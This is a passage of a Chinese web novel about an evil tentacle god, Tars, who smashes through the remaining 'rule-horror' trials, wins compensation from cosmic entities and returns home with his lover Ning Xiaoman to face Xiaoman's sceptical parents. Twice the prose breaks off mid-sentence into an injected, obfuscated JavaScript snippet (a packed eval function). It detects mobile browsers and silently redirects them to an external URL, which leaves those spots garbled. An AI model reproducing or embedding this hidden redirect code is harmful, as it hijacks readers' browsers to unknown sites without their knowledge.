怪谈开启后,天选者需在一众娃娃中选中属于自己的娃娃。 每天陪他们玩,满足他们的要求,请注意,因每个娃娃的不可复制性,他们自身所拥有的规则也各不相同。 另:晚上六点到八点为游戏时间,所有人都会参与其中。 最后,此规则为合作性规则怪谈,各天选者在不能触犯自己规则的同时,也不能触犯其他人的规则。” “合作……” 塔尔斯开口打断道:“不需要。” 说完,他眯着眼睛扭头看向右方,随着他的转头,宁小满也朝那边看去,影影绰绰的雾气后有什么东西即将冒出来。 马文拨开雾气探出头和宁小满对上视线,他先是一愣,旋即被他挡在身后的赫伯特毫不客气的一把推了出去。 赫伯特看着这边的两人挑了挑眉,只一眼便足够他了解这是个什么情况,后退几步,随时做好了开溜的打算。 他们两个出来了,后边呆着的人也耐不住一个接一个跳了出去,到最后,现场除了塔尔斯这个不算真人的人形生物,共有67人,恰好是所有天选者的人数。 随着最后一个人从雾气后走出,四周倏然响起一阵窸窣声,窸窣声中还掺杂着些微弱的哭声外,还有类似骨头被啃食以及骨头被铁质器具狠狠刮过的声音响起。 听到这种声音,在场的每个人后背不自觉发凉,这是刻在骨子里的恐惧感,基因在警告他们——快逃! 塔尔斯抬手环住宁小满的肩膀用力握了握,“我在。” “咿咿……趴趴,抱——嘻~” “吖吖吖……留下,陪我。” “呵呵呵……” 一个接一个只有成年人一臂长的人类娃娃从雾气中爬出来,他们长相各有不同,手中所持物件也各不相同,要非说有什么一样的地方,那就是表情,他们的表情是如出一辙的皮笑肉不笑。 这种表情放到成年人身上就也还好,但放到这些一臂长的人类娃娃身上,就让人背后冒凉气了。 就在众人面面相觑不知道该不该做第一个选娃娃的人时,塔尔斯动了。 更确切的说,是他的触手本相动了。 一触手下去,地面出现一堆烂肉。 “呕!” 此起彼伏的干呕声响起,塔尔斯并不在意,只是抬手捂住身侧爱人的眼睛,感受着睫毛抚过手心的触感,漫不经心的下达了继续攻击的指令。 独立空间内,两个小球看着底下肆无忌惮破坏他们布置的塔尔斯,身上光芒一阵闪烁,其中较小的那个率先开口,“无视规则的东西,不应该存在。” “实力不够,抹杀不了。” “那就驱逐。” “可。” 感受到规则上传来的排斥感,塔尔斯冷笑一声,施施然弯腰抱起爱人,身后原来只出动了一根触手的本相开始变的张牙舞爪。 八根触手齐出,不过片刻,这里除了站立的人和雾气再无其他。 规则内囊括的诡异被杀光,正在运行的规则自动判定所有天选者通关,避无可避。 稍大的光球看着这一幕,沉默片刻,淡淡开口道:“你该更新内存了规则。” “会的。” 但在那之前,“怪谈,接下来如何?” 怪谈算算先前得到的定金外加收工后能够得到的尾款,再算算这期间的额外收入,确定就算是接下来再没有收入也能覆盖成本小赚一比后就不打算管了。 “随他去吧。” “驱逐?” “他死赖着不走,拿他没办法。” “……规则重写。” “嗯,去吧。” 因着已经放弃再从这方世界获得多的能量,只等尾款到账,怪谈索性便直接跳过了中转站这个流程,让他们直接进了下个怪谈。 “怪谈,镜中人——通关方法,消灭镜中迷宫属于自己的镜中人,不限时间。” “嘣——哗啦——” 一面面镜子被压强震碎,连累其中还没来得及爬出的镜中人胎死腹中。 镜中迷宫所有镜子消失不见,徒留一地的玻璃碎渣,这怪谈自然也就过了。 被带飞的众人神情恍惚地看着站在最前方的两道身影,怀疑自己尚在梦中,要不然怎么会连通两关呢?哈哈哈……是吧? “镜中人怪谈——结束,现开启下一个怪谈,邪神之域,通关方法——盗走一件属于邪神的珍宝。” 满地的玻璃碎渣消失不见,脚下猛然一软,众人低头,只见坚硬的地面已经换成了松软的沙滩,抬头,蓝天白云外加不远处连绵的椰子树,看上去倒真真是个度假的好地方。 马文神情恍惚的看着眼前的一切,下意识发动能力取出一枚诡币,想抛个硬币来看看自己是否在梦中,下一秒他耳边就传来了他通关的声音。 距离他最近的赫伯特最先发现异样,目光从他手中的诡币上扫过,聪明的大脑让他瞬间明白过来发生了什么。 赫伯特冲上去一巴掌打醒精神恍惚的马文,以命令式的语气说道:“发动能力取出66枚诡币放到一边,注意,不要用手碰!” 马文下意识听从,做完后他捂着被打的脸想说些什么,但没来得及,他被传送回了中转站,等候统一完成任务后回到现实世界。 看着散落一地的诡币,赫伯特一脚踹飞一个想争抢的人,朝劳恩招了招手,示意他过来震场子,然后才对着众人道:“一人一个,排队,咱们两个最后,没意见吧?” 后半句是对着劳恩说的,劳恩摇摇头,表明了自己的立场。 有个武力值最高的镇场子一切进行的井然有序,并未出现任何骚乱。 分到最后,地上剩三枚,现场却只剩两人。 劳恩指指地上的诡币,淡淡道:“你算错了。” “没错,那边还有一个人。”赫伯特朝他身后扬扬下巴,示意他去看。 “他……应该不需要。” “需要不需要是一回事,准备不准备是另一回事,行了,拿着你的走吧。” 劳恩拿了硬币离开,赫伯特扫视一圈在地上捡了片叶子包裹住两枚诡币,随后捏着叶子朝冷眼旁观的两人走去。 走到两人三米远处赫伯特停下,他从叶子中拿出属于自己的一枚,又将剩下那枚放到地上,对宁小满露出一抹笑,“动物园那次,说了算我欠你一个人情,这下还了。” 说完,赫伯特的身影就消失在了原地。 宁小满低头看看地上被诡币包着的树叶,微微抿了抿唇,动物园那次互惠互利,算不上欠人情。 而且明知他身边就是邪神还给他送一枚用以通关的诡币,这是…… 宁小满偏头看了塔尔斯一眼,这是怕塔尔斯强留他在这个怪谈中吗? 本是再平淡不过的一眼,落到塔尔斯眼中却多了些催促的意味,他抬手揉了揉宁小满的头,柔声道:“别急,我们很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162797|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也会出去的,在出去之前满满可以想一下怎么跟爸妈介绍我。” “不是介绍过了吗?” “他们会忘记。” 忘记?不等宁小满深究就见塔尔斯在他面前化作了原形,尽管有做过心理建设,真正看到的那一刻宁小满还是不由自主的后退了两步。 不是害怕,只是敬畏,出于人类对未知的敬畏。 一根略显纤细的触手卷过他的腰将他放到头顶,他转着身子环顾一圈,最后只得出了塔尔斯的原形确实很大,这头顶都够跑马了。 “一会打斗的时候满满不用担心,我会护着你,满满只需要看戏就好。” 宁小满蹲下身子摸了摸塔尔斯的大脑袋,眼中闪过一丝担忧,“祂们有两个,你可以吗?” “可以,满满就等着看吧!” 张牙舞爪蠕动着的触手在地上留下一道道深沟,空间能力发动,塔尔斯首次带着爱人踏足了他来过的纯白空间。 塔尔斯在地上望着两个高高在上的光球,一咧嘴露出一嘴尖牙,“老家伙,有些账,该算算了。” “待你,我们已足够宽容。” “你们掠我至此,误了我生长,理应如此。” “你既如此认为,那便——战吧。”怪谈说完后退一步,示意规则上。 规则歪头蹭蹭怪谈,一念间空间中便出现了天罗地网,网丝泛着冷光朝地上体型庞大的章鱼压去。 宁小满看着空中压下的网心提到了嗓子眼,这下子压实了,那不得变得左一块右一块? 好在他担心的事并没有发生,不知道塔尔斯怎么操作的,一恍神他们就来到了网外。 触手在空中转了个圈像是鞭子一样抽向高空的光球,即将碰到之际一道白色薄膜亮起,挡下了极速打来的触手。 那是怪谈撑开保护罩,怪谈看着飞在半空中的塔尔斯,冷声道:“你当真要求一个两败俱伤?” “不。”塔尔斯像看傻子一样看着说话的怪谈。 “那是你死我活?” “不。” 他有老婆,活的好好的干嘛想不开寻死? 宁小满坐下戳戳塔尔斯的脑袋,小声问道:“都不的话,咱们来这干嘛?” 塔尔斯用触手尖戳戳爱人的脸,同样小声回道:“讨赔偿。” 两人的交谈看似小声,实则现场的所有生物都能听见,怪谈和规则互望着对方,只觉对方的球体上写满了无语。 怪谈挥手送出一道能量:“赔偿。” 规则在后边接话:“滚吧。” 赔偿到手,塔尔斯一刻不停的就带着宁小满离开了这里。 边走塔尔斯边说:“得了便宜就得跑快点,要不然老家伙反悔了是会拿回去的。” 宁小满捏捏手里面被塞进来的光球,对着上方看了看,好奇道:“这是什么?” “运。” “命运的运?” “不,是国运的运。” “我们进来,和运有关对吗?” “嗯,起源是一场交易,祂想要能量充足提升自身,祂们想要祂的能力恢复往日繁荣,到最后,沦为棋子的就只剩一开始就身处棋盘上的人类,当然,也有好处就是了。” 闻言,宁小满沉默好一会才道:“靠逼疯一个人为绝大多数换来的好处,并不是绝对的好处。” “国运、国运,以国为运,只要国家存在祂们就能一直存在,至于其中生活的人并不在他们的考虑范围内。” 所以,那些高高在上的存在并没有那么高贵,他占了一个邪神的名号,好歹还敢作敢当。 宁小满并不想和塔尔斯讨论那些摸不着看不见的存在,他偏头看向一边将话题扯回现实,“你之前说忘记,是不是出了这里,我们连带着世界上其他人都会失去关于这里的记忆,由其他记忆替换补足?” “是,但我可以保护满满的记忆不会被篡改。” “那,天选者无数次的死亡到底是为了什么?” 宁小满眼中闪过一丝茫然,就为那被先辈挥霍一空的资源,为以后的后辈有更多的资源可以挥霍吗? 在这其中,有人考虑过他们这些天选者自己的意愿,让他们有机会选一选吗? 不期然的,宁小满又想起了那个被逼疯的天选者,他呢?出了规则怪谈会恢复正常吗?这一切都是未知…… 48.现实 “会恢复正常,而且会得到补偿,所有天选者都会得到补偿,例如幸运值上涨、寿命延长……很多很多,但他们不会知道他们所获得的是他们年轻时自己所拼搏的。” 塔尔斯对此给出了解答,宁小满在心里面补充道:或许偶尔午夜梦回间会梦到有关规则怪谈的经历,但那时,他们醒来只会一笑了之,并向自己的亲友抱怨自己做了个很真实的噩梦。 宁小满抱住自己的膝盖将头缓缓低下,塔尔斯会保证他的记忆不被篡改,到最后他会变成世界上唯一的异类,因为只有他拥有最真实的记忆。 爸爸不会有,妈妈也不会有,塔尔斯……塔尔斯会有。 到时候他们会是同类吗?宁小满不知道,但他知道,塔尔斯在试图把他变为同类,并与原来的世界进行切割。 排斥吗?或许吧,可从被选中那天开始,不就该接受自己会沦为异类吗? 他只是没想到,67个人会只剩下他一个。 失重感猛然传来,身体在下坠,宁小满下意识闭上眼睛,直到整个人被温暖包围方才睁开眼睛,映目的是塔尔斯的脸,以及…… 以及不远处熙熙攘攘的人群,看着往来奔走的人们,听他们交谈新开的研究所真是厉害,不过短短两个月多一点就把环境治理的恢复了之前的模样。 魔幻的言论发生在现实,却无一人察觉不对劲,宁小满抬头看向塔尔斯,问出了一个哲理性问道:“记忆能够被随意篡改,那么真实真的是真实吗?” 篡改记忆后的人还是会是原来的那个人吗? “是。” 塔尔斯知道,他的满满此刻只想要肯定的答案,那么他就给出一个肯定的答案,对错与否已经无关紧要。 “一切到这里,就结束了是吗?” “是,结束了。” 宁小满低头一笑,喃喃道:“出乎意料的轻松和……” “什么?” 宁小满收拾好心情抬起头,拍拍塔尔斯的肩膀示意他放他下去,“没什么,该回家了。” “嗯!” 接下来宁小满领路,塔尔斯跟随,历经半个小时无数次问路,两人终于到家了! 宁小满看着面前这栋他曾无数次幻想模样的别墅,迟疑片刻在门口蹲下身,手伸进一边的草丛中拨弄两下,成功找到了伪装成石头的钥匙盒。 以他的眼光来看,钥匙盒实在是假,哪有石头会反光的,又不是玻璃,想起之前爸爸对他吹嘘过的话,当时还傻傻信了的他,宁小满就一阵好笑。 钥匙插进锁孔开锁,手轻轻一推大门向两侧自然打开,将钥匙放回原地,转身拉起塔尔斯垂在身侧的手朝内走去。 两人走过石子小路来到房门口,还没没来得及敲门门就开了,宁小满和塔尔斯与预备出门的宁远舟互相对视着。 宁远舟后退一步关上门又打开,确定自己没有眼光后方才略微尴尬的开口:“你们是?” “爸爸!” “哎?别!我不是你爸,你就算是和我儿子长的一样也不能张口就管我叫爸啊!” “……我就是你儿子。”宁小满抽着嘴角回道。 “胡说!我儿子纯正的兔国人,你呢?你看看你那紫色眼珠子,一看就是个混血!” 宁小满无语抬头望天,心累到不想说话。 塔尔斯见状上前一步想说明情况,“爸……” “打住!他就算了,你又是哪蹦出来的?”宁远舟抬头看着塔尔斯,瞬间感觉压力山大,他净身高一米八,在兔国已经算不错的了。 这小伙子却还要他抬头去看,瞧这架势,得两米往上了吧? 想到什么,宁远舟不着痕迹的后退一步就要把门甩上。 宁小满眼疾手快的挡住门,语速又快又急道:“不管你信不信,我就是你儿子,你要是不让我进去,晚上妈回来了你就完了!” “嘿——我儿子在家里面好好待着,我怎么就完了,走走走,玩仙人跳也要看看我配合不配合!” 砰的一声,大门在面前被甩上,险些砸到他脸上。 宁小满鼓着脸后退两步坐到门口的台阶上,开始在心里面预备告状的稿子,今天晚上不让他爸哭着求他他就改跟妈姓! “满满,仙人跳是什么?” “仙人跳就是、就是……哎呀,反正不是什么好东西,你记住不能学就是了。” “好的。” 塔尔斯应下后也跟着坐到了台阶上,十分没有矜持的腻在了宁小满身上,老大一个压的宁小满够呛,偏他本人没有一点察觉,还在絮絮叨叨说着自己的不满。 “满满,我觉得你不爱我了,你在我面前都没有这么生动过,你不信任我,面对我一直在伪装……” 宁小满听着塔尔斯的抱怨、承受着不该他承受的重量,额头青筋直跳。 俗话说得好,忍无可忍、无需再忍,现在他就到了忍的极限,忍不住一巴掌糊到了塔尔斯头上。 “够了!再说就揍你!” 这下子够生动了吧?够不见外了吧?宁小满睨着塔尔斯的眼睛中写满了问句。 塔尔斯捂着被打到的地方还好一些,坐直身子盯着宁小满,已然变成了一个终极恋爱脑。 那眼神腻到宁小满都不知道说什么了,索性便将视线挪了开来看向大门口的方向。 恍惚间,他好像看见了神色焦急的妈妈…… 等等,不是恍惚,就是妈妈! 但不对啊,现在这个时间点,他妈妈应该在学校上课或者备课,是不会回来的。 顾宛霜远远就看到家大门打开,房门口坐了两个人,其中一个人影让她莫明心慌,走近一看,好嘛,她的宝贝儿子不知道怎么就被关到了门外。 快步走过去将儿子扶起,看着他紫色的眼珠皱了皱眉,手指将儿子略长的头发别到耳后,说教道:“满宝,美瞳对眼睛不好,答应妈妈,以后少带,好吗?” “妈妈,这不是美瞳,这是……” “这是基因突变。” 顾宛霜将目光转向站在一边道塔尔斯,拧着眉问道:“你是?” 为防塔尔斯开口就喊妈把妈妈吓一跳,宁小满抢先一步开口道:“他叫塔尔斯,是、是我的男朋友。” 名字被模糊处理后落入顾宛霜耳朵里面不剩什么,但她只以为是儿子心虚说话声音太小自己没听清,并没有进一步追问,而是拉着宁小满的手掏出钥匙打开房门走了进去。 “有什么都进来说吧,站在门口说话也不是个事。” 宁远舟听到开门声围着围裙从厨房走出来,见宁小满和塔尔斯被带进来眉头霎时皱起,“老婆你怎么把他们带进来了,他们就是两个骗子。” “宁远舟!你儿子你不认识?” “不是,他不是,咱儿子在楼上房间休息的好好的,我在楼上待了一下午了,他连门都没出过。” 言外之意就是这个是假的,真的在房间里休息呢。 顾宛霜却不管那么多,只让宁远舟上楼去看,如果找不出另一个儿子来她一定让他好看! 宁远舟上楼后,顾宛霜踮起脚揉了揉宁小满的头,柔声道:“满宝乖,妈妈扶你去沙发上坐。” “不用了妈妈,我现在可以……” 可以什么?可以看见了,宁小满话到嘴边却又一时语塞,嘴唇一张一合就能把话说出去,但话说回来,怎么解释? 他总不能说他信了个邪神,把自己献祭了,邪神回应他了,给他治好了眼睛,条件是给他当新娘子…… 一堆乱七八糟的,说出来怕是他妈得被他气进医院。 顾宛霜并不知道宁小满未尽之言是什么,她扶着他坐到沙发上后,礼貌的对着塔尔斯点了点头,“你先坐,我去厨房倒杯水过来。” 顾宛霜一走,塔尔斯就委屈巴巴的凑到了宁小满旁边,“满满,妈妈是不是不喜欢我啊,全程忽略我,也不让我碰你。” “没有的事,妈妈可能是觉得突然,一时接受不了,好啦,不委屈了啊,乖。” “嗯,听满满的,我不委屈。” “老婆!老婆——满宝、满宝不见了!满宝……” 宁远舟慌里慌张的从楼上跑下来,到了楼上看到坐在沙发上的宁小满,话头一转:“好像就在这。” 五分钟后,对完了信息的宁远舟窝在单人沙发上若有所思的开口:“所以刚才不是仙人跳,是我没认出来人?” 顾宛霜心累的捂着额头,“……你没认出人的事不用特意拎出来说。” “还有满宝啊,你详细给妈妈说说,你们两个是怎么认识的。” 宁小满低头紧紧握着塔尔斯的手含糊道:“就,网上认识的。” 至于规则怪谈,就当它是个全息游戏吧。 “你们两个认识多久了?” “两个月多一点。” 顾宛霜倒吸一口凉气,“两个月!” “嗯,但是妈妈,他对真的很好很好!”连眼睛都给他了。 顾宛霜嘴张张合合,半天没说出来一个字,她看着宁小满认真的神色就感觉眼前发黑,不儿,也没人告诉她,她生了个小恋爱脑啊! “老公,扶我一下,我有点头晕。” “妈……” 顾宛霜抬手比了个打住的手势,“你先别叫我妈,我需要时间消化消化。” 望着顾宛霜上楼的背影 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宁小满再次肯定道:“不会!” 塔尔斯闻言埋在宁小满怀中的唇角微勾,眼中却藏着一抹挥之不去的失落,可惜啊可惜,要是满满语气能不那么坚定,他就能借口没有安全感直接带走他藏起来了。 “计时器响了,走吧,吃饭。” “嗯!” 饭后,宁小满捧着溜圆的肚子坐在椅子上,等塔尔斯洗完碗一起回他的房间。 是夜,塔尔斯想做点什么,被宁小满以不想两个字堵了回去,两人一夜好眠。 当然,有一夜好眠的自然也就有宿夜无眠的。 翌日,顾宛霜和宁远舟顶着两个大黑眼圈从卧室内走出,出门做的第一件事就是面对面叹了一口气。 两人结伴去了厨房,一人主厨一人打下手,做饭的空档就交流一下自己的想法。 顾宛霜一边切肉一边问:“满宝那事,你怎么看?” “孩子大了,有自己的想法了,这事,除了随他还能有其他办法?” “就不能棒打鸳鸯?” 带水的青菜入锅发出滋啦一声,油星四溅,宁远舟退后一步,偏头看向一边切肉的老婆,无奈道:“人家鸳鸯在一块好好的,你这根棒把他们打了,他们会没怨气?” “可是,他们就认识两个月,忽略一开始那不好意交流的时光,说不定满打满算还没有两个字,这感情能靠谱?” 宁远舟返回原来的位置翻炒起锅里面的青菜,“靠谱不靠谱,我不知道,但我知道,你要是真那么干了,满宝一定会不开心。” “唉——” “要我说,随他们去了最好,没有经过磨难的爱情没什么韧劲,说不定到最后不用咱们两个棒打他们两个自己就散了。” “那要是没散,最后满宝陷进去了,那人没陷进去怎么办?” “直接踹了,咱们有钱,给满宝十个八个不是问题!”宁远舟不假思索的说道。 顾宛霜沉默两秒,果断问道:“能现在就找吗?” “啊?” “我总觉得,满宝和他在一块是因为阅历不够,多看两个说不定就好了。” “哎呦我的宝贝老婆啊,你就别琢磨那会让满宝生气的事了。” 顾宛霜不甘心,“可……” “老婆,想想咱们两个给满宝起这个名字的心情,说不定会好点。”宁远舟打断道。 宁小满、小满……当初这孩子普一出生就被诊断先天性失明,注定一辈子都看不见,当时的他们无比悲愤,但一切已成定局无法改变。 他们便下定决心这辈子只要满宝一个孩子,并给他取名宁小满,意为小满胜万全。 小满、小满…… 顾宛霜深深呼一口气,“行,听你的,随他们去了。” “爸爸、妈妈!咱们早上吃什么?” 听到孩子的呼喊声,顾宛霜扬起一抹笑,扬声回道:“是满宝最喜欢吃的菜哦~满宝不如猜猜看,一会吃饭的时候看看能猜中几道。” “我闻到味道了,有炒青菜,除此之外……嗯,应该还有一个糖醋里脊!” “菜现在还没好,满宝先打开电视看会,一会好了我和你爸爸叫你、还有你男朋友。” “好!” 顾宛霜轻叹一口气,将手里面切到一边的肉拨到碗里面放回冰箱,换了一块里脊肉重新切。 余光瞥见傻站着不动的宁远舟,眉头一皱,“别站着了,你儿子要吃糖醋里脊,调糖醋汁去!” “得嘞,小的这就去!” 49.正文完 说就说,偏偏还歪七扭八的学着别人做了个敬礼的手势,没一点美感,顾宛霜在心里小小的嫌弃了一下,并没有说出来。 半个小时后,糖醋里脊出锅,早就出锅的青菜已经凉了,宁远舟不得不将它回一次锅,看着锅里面翻炒加热的青菜,宁远舟想到什么笑着调侃道:“哎——老婆,你说这道菜能改名叫回锅青菜不?” “随你,但我只在菜谱上看到过回锅肉的菜名,可没看到过回锅青菜。” “哟,那不就成我自创了的嘛。”宁远舟并不受打击,依旧嬉皮笑脸。 “行啦,别嬉皮笑脸的了,赶紧出锅,收拾收拾准备吃饭了。” “好嘞。” 听他应下,顾宛霜一手端一个盘子,边往外走边喊道:“满宝,饭好了,让你男朋友带你去饭桌那边。” “知道了妈妈!” 吃饭时,顾宛霜习惯性要用公筷帮看不见的儿子夹菜,却突然注意到他手上动作一顿不顿的夹了菜到碗里。 就这么一注意,手上动作就停了下来。 接下来吃饭时顾宛霜全程观察,眼睛来回在宁小满手上和眼睛上扫过。 塔尔斯注意到了她观察的目光,低头的瞬间眉毛一挑,后半程加了不少动作,故意引着宁小满做了更多的动作。 一顿饭下来,顾宛霜心里面已经有了数。 将宁远舟打发去收拾碗筷后,顾宛霜站起身对着塔尔斯道:“能谈谈吗?” 塔尔斯无可无不可地点了点头,“可以。” 顾宛霜得到肯定的回答走到一边,指了指窗外的凉亭,“就在那吧,我出去等你。” 目送妈妈离开后,宁小满抬手抓住塔尔斯的衣服袖子唤道:“塔尔……” “放心,我会没事的。”塔尔斯拍拍宁小满抓着自己胳膊的手安慰道。 宁小满呼吸一滞,我那是担心你吗?我是担心妈妈! 看出他的担忧,塔尔斯主动开口承诺道:“妈妈也会没事的。” 闻言,宁小满心下稍等,放开了拉着塔尔斯胳膊的手,但仍在塔尔斯离开后趴在正对着凉亭的窗户边看着,准备一会外边一有什么不对就冲出去。 “你妈妈不会刁难他的。” “爸爸?” 宁远舟低低应了一声,“嗯,你爸爸我啊,已经帮你劝过了。” 宁小满眼睛一亮,连忙道谢:“谢谢爸爸!” “谢倒是不用谢,但是满宝,你能不能答应爸爸一件事?” “爸爸你说,我一定答应。” “也不是什么大事,就是如果以后他不喜欢你了,你别为了他寻死觅活,多想想我和你妈妈,咱家有钱,大不了我和你妈妈带着你离开这伤心地。” 宁小满张口想说我们两个的情况和你想的不一样,不是寻常情侣,如果真的不喜欢了,生命与否都不是他能拿捏的…… 话到嘴边却又被宁小满咽了下去,说了又能如何,不过徒惹亲人为他担心,倒不如顺着爸爸的意答应下来,如果再由他去安抚妈妈,你好我好大家好。 脑海内思绪转了几轮,于现实也不过是刹那,宁小满对着爸爸重重一点头,“我不会为了他寻死觅活的,我还有你和妈妈,我知道谁是世界上最爱我的人,您放心!” 塔尔斯突然从一侧冒出将手搭在宁小满肩膀上低着头问道:“放心什么?” “没什么,妈妈呢?” 眼睛一转,宁小满见到了笑容满面的妈妈,得,这下子不用回答他也知道妈妈在哪了。 顾宛霜快走两步拉住宁小满的手道:“满宝,三星为你做的事妈妈都知道了,以后啊,你们两个可要好好的,感情上遇到什么解决不了的就来找妈妈,妈妈为你们解决!” 宁小满拧眉,抬头看塔尔斯,用眼神询问:你跟我妈妈说了什么,怎么出去一趟回来跟变了一个人一样? 塔尔斯眨眨眼回道:秘密。 宁小满:为什么叫你三星?你恢复妈妈的记忆了? 塔尔斯:没有,真名他们叫不了,给个假名让他们叫叫。 看着眉来眼去的两人,顾宛霜微微一笑,推着宁远舟上楼把房间留给了两个恋爱脑的小情侣。 “你没对妈妈用什么精神控制类的招数吧?” “没有。” 妈妈前后反差过大,宁小满有些不信,“真的?” “真的。” 塔尔斯无奈道:“我就是告诉她我治好了你的眼睛,并且决定入赘。” “眼睛什么的就算了,入赘是个什么鬼啊!” “小五说的。”塔尔斯果断甩锅。 宁小满瞪大眼睛,不可置信道:“小五?” “昨天我放它出去了解这个世界的一些常识,早上回来它是这么告诉我的。” “不是,你这……它……”宁小满抓抓头发,语言系统倏然失灵,话到嘴边不知道该怎么说。 楼上卧房,顾宛霜揪着宁远舟的耳朵眯着眼睛恶狠狠问道:“你是不是昨天就知道满宝能看见了?啊?” “是,满宝眼睛有神,一看就和之前的状态不一样,稍微留意就能……” “你的意思是我没有留意满宝?” “不不不,我不是这个意思。” 顾宛霜松开揪着宁远舟耳朵的手,颓然坐在沙发上,“我是这个意思,确实,昨天被满宝的消息打了个措手不及,我就没第一时间发现他的不对劲,唉~” 见她沮丧,宁远舟便自己把自己跟满宝刚才的对话说了一遍。 说完见老婆眼睛亮晶晶的,宁远舟不免有些得意,“两个月的感情长不了,等新鲜感过去,他们两个自然而然就分开了。 你啊,有时间就多在手机上看看适合旅游的地方,等他们两个分开了咱们带满宝去逛,好让他开心开心。” “好!等他们分开了,我就辞了我的工作和你一起带满宝出去玩,让他散心!” 顾宛霜和宁远舟意见统一,已知他们儿子儿子是个恋爱脑,剩下一个不明,但根据异性相吸原则,一个恋爱脑不会吸引来另一个恋爱脑,所以他们并不看好两个月感情构成的爱情。 比之一辈子的沉沦,他们宁愿孩子以后受一段时间情伤,也不想他把一辈子都系到一个人身上,那样受伤的概率承几何倍增加…… 林上总总,他们等着他们感情终结那天! 宁小满并不知道爸妈并不看好他们这段感情,他和塔尔斯就这么在家里面住了下来。 在爸妈偶尔莫明的视线下,他们住了一个月、两个月……一年、两年。 始终没有等到儿子分手还经常吃狗粮的夫妻两个按耐不住了。 一天傍晚,顾宛霜带着宁远舟出了家门,来到一处僻静处,有些抓狂的说道:“他们两个怎么还不分手啊!” 宁远舟迟疑两秒,抬手拍了拍老婆的的肩膀劝道:“要不……就算了吧,我看他们两个之间,恋爱脑那个好像不是满宝。” “不行!不能就这么放弃,回家!收拾东西!” “干嘛?”宁远舟呆愣愣地看着老婆。 “旅游,去帅哥多的地方,满宝和他在一起肯定是因为之前看不见,能看见了又不常出门,见得少了!“ “啊?” 塔尔斯抱着宁小满坐在不远处的树上,轻啧一声,咬住唇边晃悠的耳垂,留下一个牙印后施施然松开嘴,佯装幽怨道:“满满,你妈妈不喜欢我呢,怎么办啊?” “什么怎么办?能怎么办,忍着吧。” “满满——你变了,你之前不会这么对我的。” 宁小满抱紧怀里面的小五翻了个白眼,装、格劲装,一天天的,也不知道哪来的戏瘾。 塔尔斯抱紧怀里面的人,再次发问:“满满会不要我吗?” “不会。” “即使遇到比我更帅更符合你审美的人也不会吗?” “不会,还有……” 宁小满扭头对上塔尔斯的眼睛,很困惑的问道:“你什么时候这么多愁善感了?” “在现实世界待久了,染上的?” “一边去,现实世界又不是什么感染源,”突然,宁小满余光瞥见爸妈往回走了,连忙道:“快快快,赶紧回去,一会被他们发现咱们两个不在家就糟了!” “哎——不对啊,我现在是二十一又不是十一,眼睛也好了,出门玩完全没问题。” “那还回去吗?” 宁小满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175532|162311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛一转,脑海内冒出一个地方,“先不回去,我带你去个好地方~” 一个小时后,塔尔斯牵着宁小满站在白日被打造成黑夜氛围的酒吧,黑着一张脸听宁小满跟人要了一个包间和三个陪酒的人。 在外边他并没有爆发,到了包间才猛地将一路时不时瞄着他窃笑的人掀翻在沙发上,凑近逼问道:“这是好地方?” “啊!怎么不算呢?可多可多人喜欢来这玩啦!” “你之前来过?” “那倒是没有,十八岁之前未成年不让进,十八岁之后因为眼睛问题爸妈也不让我来这,所以我这是第一次来。” 塔尔斯听完脸色更黑了,“你第一次来就带老公来?” “哎呀,带你来不好吗?带你来我干什么都在你眼皮子底下,肯定不会干出什么出格的事。” 宁小满揽着塔尔斯的脖颈撑起身子在他脸上咬了一口,“要是什么时候我背着你来这,那你才是真该急了,毕竟背人的才会是坏事,你说,是不是?” 一开口热气直往塔尔斯脸上扑,连爱人说了什么都晕乎乎的没听清,稀里糊涂的就顺着他的意点了头,应了是。 看着被迷的晕乎乎的塔尔斯,宁小满垂眸掩下眼睛中的笑意,还是一如既往的好哄。 抱着这个想法,晚上宁小满就被打脸了。 在酒吧,是他把塔尔斯迷的没办法想其他事,可在晚上,却是塔尔斯把他脑子搅成一团浆糊,再无法去想那些花言巧语的狡辩。 辛苦一夜,第二天满血复活,吃完买回来的早餐,顾宛霜就在饭桌上宣布了一家人即将去往国外旅游的消息。 宁小满偏头和塔尔斯对视,用眼神打趣他:要去找比你帅的帅哥了哦~ 塔尔斯用鼻音轻哼一声,对此不屑一顾,他对他的化形很有自信,昨天说的话不过是逗趣。 “咳!好啦,别搁这眉来眼去的,有什么回房间关上门说。” 宁小满坐直身子乖乖点头,“知道了妈妈。” 装模作样,塔尔斯对此评价道。 余光瞥见塔尔斯的表情,趁着顾宛霜转身离开的空档,宁小满歪头对着塔尔斯做了个鬼脸,摆明了一副我就装模作样怎么了的样子。 “满宝,记得把行李收拾了,后天早上的飞机。” “好!” 宁小满站起身朝双手环胸的塔尔斯伸出手,“走啦,收拾行李去。” “不去。” “不去就算了,我去国外找其他人去,哼——” “你敢!” 宁小满拔腿就跑,跑路的同时还不忘回头挑衅,“不信?你就看我敢不敢。” 塔尔斯不语,起身就追。 顾宛霜靠在宁远舟胸膛看着两人相继离开的背影,掀了掀眼皮道:“这俩小子果然偷听咱们两个说话了,就是不知道藏哪去了,咱俩说话那地方圆十米左右也没有能藏人的草丛或者建筑啊。” “偷听来的东西还拿出来调侃,果然是小孩。” “小孩是小孩,就是太宅了,一天到晚闷在家里迟早闷出病来,趁着这个机会得多带他们玩几个地方。” 